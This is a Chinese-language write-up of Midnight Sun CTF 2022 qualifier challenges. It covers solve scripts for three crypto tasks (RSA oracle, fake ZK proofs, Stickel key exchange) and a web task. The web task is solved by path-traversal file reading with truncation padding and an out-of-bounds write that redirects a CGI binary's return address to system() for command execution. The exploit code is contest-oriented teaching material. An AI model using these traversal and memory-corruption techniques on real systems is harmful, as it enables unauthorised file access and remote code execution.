Midnight Sun CTF Qualifiers 2022 WriteUps
在 XxTSJxX 中解了比較水的三題 Crypto 和半題 Web (?),一樣簡單的紀錄一下解法。
Crypto
Pelle's Rotor-Supported Arithmetic
1 | #!/usr/bin/python3 |
簡單來說這題有個 RSA decrpytion oracle,
這題的 oracle 可以選擇 c
還有 d'=rotor(d,i)
的 i
,然後回傳
觀察一下可知 rotor(d,0)*10-rotor(d,1)
有些規律,統整一下有以下結論:1
2
3
4
5
6
7
8
9
10
11rotor = lambda d, i: int(str(d)[i % len(str(d)) :] + str(d)[: i % len(str(d))])
def f(d, i):
return rotor(d, i) * 10 - rotor(d, i + 1)
d = 1029384756
for i in range(len(str(d))):
x = int(str(d)[i])
assert f(d, i) == x * 10 ** len(str(d)) - x
所以 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48from pwn import *
from Crypto.PublicKey import RSA
from Crypto.Util.number import long_to_bytes
from tqdm import tqdm
# context.log_level = 'debug'
# io = process(["python", "pelles_rotor_supported_arithmetic.py"])
io = remote("pelle-01.hfsc.tf", 4591)
io.recvuntil(b"encrypted flag ")
flagct = int(io.recvlineS())
io.recvuntil(b"Pelle's Rotor Supported Arithmetic Oracle")
def oracle(c, rot):
io.sendline(b"1")
io.sendlineafter(b"c:\n", str(c).encode())
io.sendlineafter(b"rot:\n", str(rot).encode())
return int(io.recvlineS())
d_len = 310 # guessed upper bound
n = oracle(-1, 0) + 1
print(n)
c = 48763
ds = [oracle(c, i) for i in tqdm(range(d_len + 1))]
while ds[0] != ds[d_len]:
d_len -= 1
print(d_len)
def recover(c_d0, c_d1):
k = pow(c_d0, 10, n) * pow(c_d1, -1, n) % n
for i in range(0, 10):
dd = i * (10 ** d_len) - i
if pow(c, dd, n) == k:
return i
digits = ["?"] * d_len
for i in range(d_len):
digits[i] = str(recover(ds[i], ds[i + 1]))
d = int("".join(digits))
key = RSA.construct([n, 65537, d])
df = pow(3331646268016923629, -1, (key.p - 1) * (key.q - 1))
m = pow(flagct, df, n)
print(long_to_bytes(m))
# midnight{twist_and_turn}
BabyZK
1 | #!/usr/bin/python3 |
這題有個 oracle 可以計算
假設拿
把指數部分寫成矩陣如下:
假設 challenge
給的任意
記得這題 oracle 的查詢次數是 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47from sage.matrix.special import vandermonde
from pwn import process, remote
from tqdm import tqdm
# io = process(["python", "babyzk.py"])
io = remote("babyzk-01.hfsc.tf", 4590)
io.recvuntil(b"3) Exit.\n")
def prove(x):
io.sendline(b"1")
io.sendlineafter(b"> ", str(x).encode())
return ZZ(io.recvlineS())
deg = 15
xs = list(range(deg + 2))
xs[-1] = -1 # prevent sol from being too big
proves = [prove(i) for i in xs]
M = vandermonde(xs[:deg])
sol1 = M.solve_left(vector([xs[-2] ^ i for i in range(deg)])).change_ring(ZZ)
print(sol1)
lhs1 = product([a ^ b for a, b in zip(proves[:deg], sol1)]) # rational
rhs1 = proves[-2]
sol2 = M.solve_left(vector([xs[-1] ^ i for i in range(deg)])).change_ring(ZZ)
print(sol2)
lhs2 = product([a ^ b for a, b in zip(proves[:deg], sol2)]) # rational
rhs2 = proves[-1]
# lhs = rhs (mod p)
p = gcd(lhs1.numer() - lhs1.denom() * rhs1, lhs2.numer() - lhs2.denom() * rhs2)
print(f"{p = }")
M = M.change_ring(Zmod(p - 1))
def fake_proof(x):
sol = M.solve_left(vector([x ^ i for i in range(deg)])).change_ring(ZZ)
return product([power_mod(a, b, p) for a, b in zip(proves[:deg], sol)]) % p
io.sendline(b"2")
for _ in tqdm(range(100)):
r = ZZ(io.recvlineS())
io.sendline(str(fake_proof(r)).encode())
io.interactive()
# midnight{n0t_h4rd_3ven_w1th0ut_modulu5}
kompot_512
1 | ''' |
這題的 F(f, k)
是用快速冪來計算 Iterated function 的,即
題目本身就是選兩個公開函數
這題兩邊的 public key 分別是
我的做法是先算出一個
另外可以觀察出
其中
然後因為有理函數可逆,計算 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60p = 4225693342127109694461474664875234388636946955456557547956774428518217802668660259782406877400331189882749889992278565317470800599051030042911227853036773
R.<x> = PolynomialRing(GF(p))
def F(f: R, k: Integer) -> R:
g = x
while k > 0:
if k % 2 == 1:
g = f(g)
k = k // 2
f = f(f)
return g
f = (1 * x + 2) / (3 * x + 4)
g = (2 * x + 1) / (13 * x + 37)
gfixed = [r for r, _ in ((2 * x + 1) - x * (13 * x + 37)).roots()]
assert all(g(r) == r for r in gfixed)
r = gfixed[0]
# F(f, x0) = (a*x+b)/(x+(a+1)) where b is known constant (by observation)
# A(r)=F(f, x0)(r)=(a*r+b)/(r+(a+1))
A = (
1862315654158688869445729098619544799767914409222262298343789666937748284078116837226153354276423115494199511730581944141272923224308137441803678328652676
* x
+ 1886064375836034840142860936845130575100861943319047776615196816978379039225633008371217989839215828506878694852860682181613624391870390057743279109936146
) / (
x
+ 2018973312548033623066299353985536867301042832572544233315161976441530811456010904800834151744635603048866029559947352208513799007609932454902351226287612
)
B = (
2477394867395824278867886971831335517996362882807219284195631610174019275371358912732296452954721250133176647989002311297549405379103903792349676765146225
* x
+ 2040810311132675343235393925283389647607439331436941665496443753775265935891731269825908055031216551265890834776911988625202487191269201707297351486226785
) / (
x
+ 895438207293722465737529431198991226585025118671333535676494582773742283333650849930234578880250608882302630413898903347122190753133069996224669181368029
)
RR.<a> = GF(p)[]
b = f.numerator()[0]
a = (A(r) * (r + (a + 1)) - (a * r + b)).roots()[0][0]
fx0 = (a * x + b) / (x + (a + 1))
def rational_invertse(f):
a = f.numerator()[1]
b = f.numerator()[0]
c = f.denominator()[1]
d = f.denominator()[0]
return (b - d * x) / (c * x - a)
gx1 = rational_invertse(fx0)(A)
C = fx0(B(gx1))
print("My kompot is ready: midnight{%d}" % (C(0)))
# midnight{3376861921537964672541400365700467193751583514806849485754729332434511031717727819872760853068826617376545669091237756749178566789525020268534935958343010}
其他解法
後來看其他人的作法才知道這題的
然後
這部分的推導可以參考 y011d4 的 writeup
而這題的 key exchange 是 Stickel's key exchange,網路上已經有 Cryptanalysis of Stickel’s key exchange scheme 教你怎麼處理了。
這方法的概念是說攻擊者只要能找到
因為
要解從系統中解出
上面的解法還可以再稍微簡化點,就是只把 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83p = 4225693342127109694461474664875234388636946955456557547956774428518217802668660259782406877400331189882749889992278565317470800599051030042911227853036773
R.<x> = PolynomialRing(GF(p))
A = (
1862315654158688869445729098619544799767914409222262298343789666937748284078116837226153354276423115494199511730581944141272923224308137441803678328652676
* x
+ 1886064375836034840142860936845130575100861943319047776615196816978379039225633008371217989839215828506878694852860682181613624391870390057743279109936146
) / (
x
+ 2018973312548033623066299353985536867301042832572544233315161976441530811456010904800834151744635603048866029559947352208513799007609932454902351226287612
)
B = (
2477394867395824278867886971831335517996362882807219284195631610174019275371358912732296452954721250133176647989002311297549405379103903792349676765146225
* x
+ 2040810311132675343235393925283389647607439331436941665496443753775265935891731269825908055031216551265890834776911988625202487191269201707297351486226785
) / (
x
+ 895438207293722465737529431198991226585025118671333535676494582773742283333650849930234578880250608882302630413898903347122190753133069996224669181368029
)
def F(f: R, k: Integer) -> R:
g = x
while k > 0:
if k % 2 == 1:
g = f(g)
k = k // 2
f = f(f)
return g
f = (1 * x + 2) / (3 * x + 4)
g = (2 * x + 1) / (13 * x + 37)
def fn2mat(f):
a = f.numerator()[1]
b = f.numerator()[0]
c = f.denominator()[1]
d = f.denominator()[0]
return matrix(GF(p), [
[a, b],
[c, d]
])
# find xa=ax, yb=by, u=xy
# simplify to x_inv*a=a*x_inv, yb=by, x_inv*u=y
a = fn2mat(f)
b = fn2mat(g)
u = fn2mat(A)
v = fn2mat(B)
P.<y00,y01,y10,y11> = GF(p)[]
y = matrix([
[y00, y01],
[y10, y11]
])
x_inv = y * ~u
def add_mat_eq(polys, lhs, rhs):
for i in range(lhs.nrows()):
for j in range(lhs.ncols()):
polys.append(lhs[i, j] - rhs[i, j])
polys = []
add_mat_eq(polys, y * b, b * y)
add_mat_eq(polys, x_inv * a, a * x_inv)
# alternative way to solve this system: P.ideal(polys).groebner_basis()
M, _ = Sequence(polys).coefficient_matrix()
print(M.change_ring(Zmod(107))) # overview of matrix
print(_) # variables of each column
# no constant term so only need to find the kernel
# many solutions so any one of them will work
y00, y01, y10, y11 = M.right_kernel().basis()[0]
y = matrix(GF(p), [
[y00, y01],
[y10, y11]
])
x_inv = y * ~u
x = ~x_inv
shared = x * v * y
c0 = shared[0, 1] / shared[1, 1]
print("My kompot is ready: midnight{%d}" % c0)
Web
Retro
這題給了個沒有 source code 的題目,前面超過一半都是 splitline 處理的。
題目的服務都是使用 CGI 寫的,而 /cgi-bin/showimg.cgi
的部分可以從 query string 拿 path ?test.gif
,但要求只能是 .gif
結尾。測試後可知道他有長度限制所以會 truncate,因此在前面放置足夠的垃圾後就能任意讀檔。1
2
3
4
5
6
7
8import requests, sys
url = "http://retro-01.hfsc.tf:8080/cgi-bin/showimg.cgi?"
filename = sys.argv[1]
padding = "../" * ((102-len(filename))//3) + '/'*((102-len(filename))%3)
print(requests.get(url+padding+filename+'.gif').text.replace("\0","\n"))
By @splitline
然後讀檔後可以把全部的 /cgi-bin
中的檔案都載下來,可以發現到全部都是 ELF 檔。
在 IDA 打開 madlib.cgi
可以看到 main
函數如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42int __cdecl main(int argc, const char **argv, const char **envp)
{
char *v3; // eax
int result; // eax
char *v5; // [esp+0h] [ebp-74h]
char s[100]; // [esp+4h] [ebp-70h] BYREF
unsigned int v7; // [esp+68h] [ebp-Ch]
int *v8; // [esp+6Ch] [ebp-8h]
v8 = &argc;
v7 = __readgsdword(0x14u);
alarm(5u);
puts("Content-type: text/html\n");
puts("<html><body background=\"/bg.jpg\">");
printf("<h1>Mad Lib generator</h1>");
v5 = getenv("QUERY_STRING");
if ( v5 && *v5 )
{
process(v5);
printf("<a href=\"/cgi-bin/madlib.cgi\">Go back</a>");
}
else
{
puts(
"<form><table border=0><tr><td><label for=\"adj\">Adjective</label></td><td><input type=\"text\" id=\"adj\" name=\""
"adj\" value=\"Old\"></td></tr><tr><td><label for=\"noun\">Noun</label></td><td><input type=\"text\" id=\"noun\" na"
"me=\"noun\" value=\"Farm\"></td></tr><tr><td><label for=\"animal\">Animal</label></td><td><input type=\"text\" id="
"\"animal\" name=\"animal\" value=\"Cow\"></td></tr><tr><td><label for=\"noise\">Noise</label></td><td><input type="
"\"text\" id=\"noise\" name=\"noise\" value=\"Moo\"></td></tr><tr><td></td><td><input type=submit></td></tr></table></form>");
}
if ( getenv("DEBUG") )
{
v3 = getenv("DEBUG");
snprintf(s, 0x64u, "echo \"[DBG] %s\" >> /opt/logfile", v3);
system(s);
puts("<!-- [DEBUG ACTIVE] -->");
}
result = v7 - __readgsdword(0x14u);
if ( result )
sub_19BB();
return result;
}
然後這個是 process
函數:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74unsigned int __cdecl process(char *a1)
{
char *v1; // eax
unsigned int result; // eax
char *stringp; // [esp+2Ch] [ebp-23Ch] BYREF
char v4; // [esp+3Bh] [ebp-22Dh]
char *s1; // [esp+3Ch] [ebp-22Ch]
char *s; // [esp+40h] [ebp-228h]
char *nptr; // [esp+44h] [ebp-224h]
int v8; // [esp+48h] [ebp-220h]
char dest[512]; // [esp+4Ch] [ebp-21Ch] BYREF
unsigned int v10; // [esp+24Ch] [ebp-1Ch]
stringp = a1;
v10 = __readgsdword(0x14u);
strcpy(dest, off_4004);
while ( 1 )
{
s1 = strsep(&stringp, "&");
if ( !s1 )
break;
if ( !strncmp(s1, "adj=", 4u) )
{
off_4008 = (char *)sub_1362(s1 + 4);
}
else if ( !strncmp(s1, "noun=", 5u) )
{
off_400C = (char *)sub_1362(s1 + 5);
}
else if ( !strncmp(s1, "animal=", 7u) )
{
off_4010 = (char *)sub_1362(s1 + 7);
}
else if ( !strncmp(s1, "noise=", 6u) )
{
off_4014 = (char *)sub_1362(s1 + 6);
}
else if ( !strncmp(s1, "fix", 3u) )
{
s = s1 + 3;
nptr = strchr(s1 + 3, 61);
if ( nptr )
{
v1 = nptr++;
*v1 = 0;
s = (char *)sub_1362(s);
nptr = (char *)sub_1362(nptr);
v8 = atoi(s);
v4 = atoi(nptr);
dest[v8] = v4;
}
}
}
printf(
dest,
off_4008,
off_400C,
off_400C,
off_4010,
off_4014,
off_4014,
off_4014,
off_4014,
off_4014,
off_4014,
off_4014,
off_4014,
off_4008,
off_400C);
result = v10 - __readgsdword(0x14u);
if ( result )
sub_19BB();
return result;
}
可以知道 query string 裡面放 ?fix87=63
的話它就會直接 OOB write: dest[v8] = v4
,後面也有 format string 可以打。不過這題 binary 保護全開,我想到的方法只有 partial overwrite return address 的 LSB,讓他跑回 main
函數的 DEBUG
branch 裡面。
那裡面有一段的 asm 如下:1
2
3lea eax, [ebp+s]
push eax ; command
call _system
所以讓他 return 到 lea 那邊之後用 gdb 算 eax
的值一樣 OOB 寫想要執行的 command 進去就能 RCE。不過不知為何我都看不到回顯,所以只能用 ls > /tmp/peko
之類的指令之後再用任意讀檔去讀內容出來。1
2
3
4
5
6
7
8
9
10
11
12buf = 0xffb901fc
ret = 0xffb9041c
cmd_start = 0xffb90438
writes = []
writes.append((ret-buf, 0x81)) # partial overwrite to system
for i, v in enumerate(b'/showflag > /tmp/peko\0'):
writes.append((cmd_start-buf+i, v))
qs = '&'.join([f'fix{i}={v}' for i, v in writes])
print(qs)
# midnight{ebb1d7808ec033c2fc0cba0829863b66}